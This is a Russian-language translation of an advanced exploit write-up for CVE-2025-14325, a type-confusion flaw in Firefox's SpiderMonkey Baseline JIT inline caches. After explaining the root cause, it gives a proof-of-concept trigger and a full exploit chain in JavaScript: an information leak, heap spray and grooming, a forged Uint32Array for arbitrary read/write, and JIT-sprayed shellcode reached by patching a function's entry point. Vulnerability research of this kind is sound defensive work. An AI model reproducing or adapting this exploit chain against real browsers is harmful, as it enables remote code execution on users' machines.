Категория: Browser Exploitation / JIT
Уровень: Advanced
Оригинал: core-jmp.org by @qriousec
CVE: CVE-2025-14325
Компонент: SpiderMonkey (Firefox JavaScript Engine) — Baseline JIT
Перевод: Aka Tor
Дата: Март 2026
Введение
CVE-2025-14325 — уязвимость в движке JavaScript SpiderMonkey, используемом Mozilla Firefox. Баг возникает в компиляторе Baseline JIT, конкретно в реализации инлайн-кэшей (ICs), оптимизирующих операции доступа к свойствам. Логическая ошибка в обработчике fallback допустила несогласованные предположения о структуре объекта, что привело к type confusion — движок трактует память как неправильный тип, что может привести к повреждению памяти и произвольному выполнению кода.
Технически баг был обнаружен с помощью AI-assisted fuzzing через Claude Code, анализирующего активно разрабатываемую фичу TypedArray resizable. После этого фреймворк фаззинга был итеративно улучшен для покрытия всех аспектов этой фичи во всей истории коммитов.
1. Поверхность атаки и компонент
Как все современные JS-движки, SpiderMonkey использует многоуровневую архитектуру для балансирования задержки запуска и пиковой пропускной способности. Уязвимость живёт в уровне Baseline JIT, в механизме ускорения операций со свойствами: инлайн-кэшах.
1.1 Что такое инлайн-кэши?
Инлайн-кэш (IC) — техника, кэширующая результат динамической операции прямо на месте вызова. Вместо полного поиска свойства каждый раз когда выполняется obj.x = value, IC запоминает: «в прошлый раз объект имел Shape S1, свойство x было в слоте 5» — и при следующих вызовах записывает прямо в слот 5 без поиска.
Baseline JIT реализует IC как цепочку стабов — связный список маленьких фрагментов машинного кода, каждый специализированный для конкретной формы объекта.
1.2 Обработчики IC Fallback
Для операций записи свойств/элементов две функции обрабатывают fallback: DoSetElemFallback и DoSetPropFallback. Обе определены в js/src/jit/BaselineIC.cpp и разделяют одну двухфазную структуру:
// Упрощено из BaselineIC.cpp (DoSetElemFallback, строка 843)
bool DoSetElemFallback(JSContext* cx, BaselineFrame* frame,
ICFallbackStub* stub, Value* stack,
HandleValue objv, HandleValue index,
HandleValue rhs) {
RootedObject obj(cx, ToObjectFromStack(cx, objv, index));
// ──── Фаза 1: Снимок текущей формы объекта ────
Rooted<Shape*> oldShape(cx, obj->shape()); // [1]
DeferType deferType = DeferType::None;
bool attached = false;
// Попытка прикрепить стаб перед операцией
if (stub->state().canAttachStub()) {
SetPropIRGenerator gen(cx, script, pc, CacheKind::SetElem,
stub->state(), objv, index, rhs);
switch (gen.tryAttachStub()) { // [2]
case AttachDecision::Attach: /* ... */ break;
case AttachDecision::Deferred:
deferType = gen.deferType(); // [3] запомнить на потом
break;
}
}
// ──── Выполнение фактической VM-операции ────
SetObjectElementWithReceiver(cx, obj, index, rhs, objv); // [4]
// ↑ Может вызвать valueOf(), toString(), Proxy traps...
// Произвольный JavaScript может выполниться здесь!
// ──── Фаза 2: Отложенное прикрепление стаба ────
if (deferType == DeferType::AddSlot) { // [5]
SetPropIRGenerator gen(cx, script, pc, CacheKind::SetElem,
stub->state(), objv, index, rhs);
gen.tryAttachAddSlotStub(oldShape); // [6]
}
}
Ключевые шаги:
- [1] Снимок: Текущая форма объекта сохраняется как
oldShape - [2-3] Первая попытка прикрепления: IC-генератор пытается прикрепить стаб, при добавлении свойства — откладывает
- [4] Выполнение VM: Фактическая операция. Критично: может выполнять JavaScript-коллбэки!
- [5-6] Отложенное прикрепление:
tryAttachAddSlotStub(oldShape)запускается после VM-операции
1.3 Окно реентерабельности
Разрыв между [1] (сохранение oldShape) и [6] (прикрепление стаба) — поверхность атаки. Во время [4] VM-операция может вызвать контролируемый JavaScript. В этой уязвимости коллбэк valueOf() вызывает SharedArrayBuffer.prototype.grow(), расширяя длину typed array. Индекс, ранее за пределами диапазона, становится валидным — результат поиска записывает TypedArrayElement вместо ожидаемого NativeProperty.
2. Уязвимость
2.1 Union PropertyResult
// js/src/vm/PropertyResult.h
class PropertyResult {
enum class Kind : uint8_t {
NotFound,
NativeProperty, // propInfo_ валиден
NonNativeProperty,
DenseElement, // denseIndex_ валиден
TypedArrayElement, // typedArrayIndex_ валиден
};
union {
PropertyInfo propInfo_; // uint32_t (32 бита)
uint32_t denseIndex_; // uint32_t (32 бита)
size_t typedArrayIndex_; // size_t (64 бита на x86-64)
};
Kind kind_ = Kind::NotFound;
};
Аксессор propertyInfo() имеет проверку только для debug:
PropertyInfo propertyInfo() const {
MOZ_ASSERT(isNativeProperty()); // вырезается в релизе!
return propInfo_;
}
Поскольку propInfo_ (32 бита) и typedArrayIndex_ (64 бита) разделяют один адрес, вызов propertyInfo() на результате TypedArrayElement переинтерпретирует нижние 32 бита индекса как PropertyInfo.
class PropertyInfoBase {
static constexpr uint32_t FlagsMask = 0xff;
static constexpr uint32_t SlotShift = 8;
T slotAndFlags_ = 0;
/*
биты 0-7: флаги
биты 8-31: номер слота
*/
};
2.2 Type Confusion
Уязвимая функция tryAttachAddSlotStub:
PropertyResult prop; LookupOwnPropertyPure(cx_, obj, id, &prop); // [7] свежий поиск PropertyInfo propInfo = prop.propertyInfo(); // [8] TYPE CONFUSION // ... MOZ_RELEASE_ASSERT(newShape->lastProperty() == propInfo); // [9] проверка // [10] номер слота записывается в IC стаб: size_t offset = holder->dynamicSlotIndex(propInfo.slot()) * sizeof(Value); writer.allocateAndStoreDynamicSlot(objId, offset, rhsValId, newShape, numNewSlots);
2.3 Обход MOZ_RELEASE_ASSERT
Проверка в [9] сравнивает confused propInfo с последним свойством. Нижние 32 бита typedArrayIndex_ должны быть равны slotAndFlags_. Добавление arr.x = 1 создаёт свойство в слоте 7 с флагами 0x07, давая slotAndFlags_ = 0x707:
// lower32(typedArrayIndex_) должен быть равен 0x707 // → typedArrayIndex_ = 0x100000707 // → JavaScript индекс = 0xffffffff + 0x708 arr[0xffffffff + 0x708] = obj;
2.4 Proof of Concept
function trigger() {
let sab = new SharedArrayBuffer(0x28, { maxByteLength: 0x100000800 });
let arr = new Uint8Array(sab);
const obj = {
valueOf() { sab.grow(0x100000800); } // рост в середине операции
};
arr.x = 1; // lastProperty().slotAndFlags_ = 0x707
arr[0xffffffff + 0x708] = obj; // lower32(0x100000707) = 0x707 ✓
}
for (let i = 0; i < 10; i++) trigger(); // прогрев IC
trigger(); // 11-й вызов: повреждённый стаб
3. Эксплуатация
3.1 Этап 1: Утечка информации
function jitme() {
let maxLength = 0x200000000;
let lastIdx = 0x20;
let confused_index = 0x100000000 + ((lastIdx << 8) + 0x7);
let sab = new SharedArrayBuffer(0x10, {maxByteLength: maxLength});
const dataArray = new Uint8Array(sab);
const obj1 = {
valueOf() {
// Добавляем 26 именованных свойств во время valueOf
for (let i = 0; i < lastIdx - 6; i++) {
dataArray[`a_${i.toString(16).padStart(3, '0')}`] = i;
}
sab.grow(confused_index + 1);
}
};
dataArray[confused_index] = obj1;
// Чтения через повреждённый IC стаб — читают мусорные указатели
return [dataArray["a_002"], dataArray["a_007"]];
};
3.2 Этап 2: Heap Spray и Grooming
Концепция spray-free-reallocate:
function write_shellcode(shape_addr, elements_addr) {
let sprayArray = [];
const spraying1_count = 16;
// Фаза 1: Спрей SharedArrayBuffer
for (let i = 0; i < spraying1_count; i++) {
let [value1, arr] = spray_write();
sprayArray.push(arr);
}
// Фаза 2: Освобождаем все для создания дыр
for (let i = 0; i < spraying1_count; i++) {
delete sprayArray[i];
}
delete sprayArray;
do_gc();
// Фаза 3: Переаллокация
const [targeted_obj, value2] = spray_write();
// Фаза 4: Спрей ArrayBuffer с inline данными (96 байт каждый)
const sprayArray2 = [];
for (let i = 0; i < 208; i++) {
let arr = new ArrayBuffer(0x60);
arr[0] = 0x13381338;
arr.x = i2f(0x13391339n);
sprayArray2.push(arr);
}
const last_arr = new ArrayBuffer(0x60);
// ...
}
Функция do_gc() триггерит некомпактирующий полный GC через условие TOO_MUCH_MALLOC:
function do_gc() {
for (var i = 0; i < 3; i++) var x = new ArrayBuffer(128 * 0x100000);
}
3.3 Этап 3: Конструирование фейкового объекта
Фейковый Uint32Array внутри inline data региона ArrayBuffer:
const last_arr = new ArrayBuffer(0x60); const write_arr = new Uint32Array(last_arr); // Фейковый заголовок NativeObject: // [shape pointer][slots pointer][elements pointer]...[data pointer][length] // Фейковая shape — указывает на реальную shape Uint32Array write_arr[0] = Number(uint32_shape_addr & 0xFFFFFFFFn); write_arr[1] = Number(uint32_shape_addr >> 32n); // Фейковые slots write_arr[2] = Number(slots_addr & 0xFFFFFFFFn); write_arr[3] = Number(slots_addr >> 32n); // Фейковые elements write_arr[4] = Number(elements_addr & 0xFFFFFFFFn); write_arr[5] = Number(elements_addr >> 32n); // Фейковый указатель данных — куда мы хотим читать/писать write_arr[0xc] = Number(data_pointer & 0xFFFFFFFFn); write_arr[0xd] = Number(data_pointer >> 32n); // Фейковая длина write_arr[8] = 0x100;
Повреждение shape и получение фейкового объекта:
targeted_obj.x = i2f(weak_ref_shape); // меняем shape last_arr на weak_ref_shape targeted_obj.y = i2f(0x890n); const fake_obj = last_arr.deref(); // deref возвращает фейковый объект
3.4 Этап 4: Произвольное выполнение кода
С фейковым Uint32Array чей указатель данных контролируется — примитив произвольного чтения/записи. Финальный шаг — перехват потока управления:
// JIT-компилируем функцию shellcode
for (let i = 0; i < 100000; i++) {
shellcode();
}
// Патчим entry point JIT-кода
fake_obj[0] = fake_obj[0] + 0x2b8;
// Вызов shellcode() выполняет контролируемый машинный код
shellcode();
Функция shellcode() — float-константы, кодирующие инструкции x86-64:
function shellcode() {
EGG = 5.40900888e-315; // 0x41414141 — маркер
C01 = 7.340387646374746e+223; // закодированный машинный код
C02 = -5.632314578774827e+190;
// ...
}
Когда Warp JIT компилирует эту функцию, константы встраиваются в генерируемый машинный код.
Патч entry point для прыжка в середину этих констант заставляет CPU выполнять шеллкод.
Заключение
Путешествие от сбоя JIT до произвольного выполнения кода в SpiderMonkey. Корневая причина подчёркивает распространённую поверхность атаки в движках браузеров: недавно введённые фичи небезопасно взаимодействуют с давно существующим кодом, где предположения, написанные годы назад, больше не выполняются.






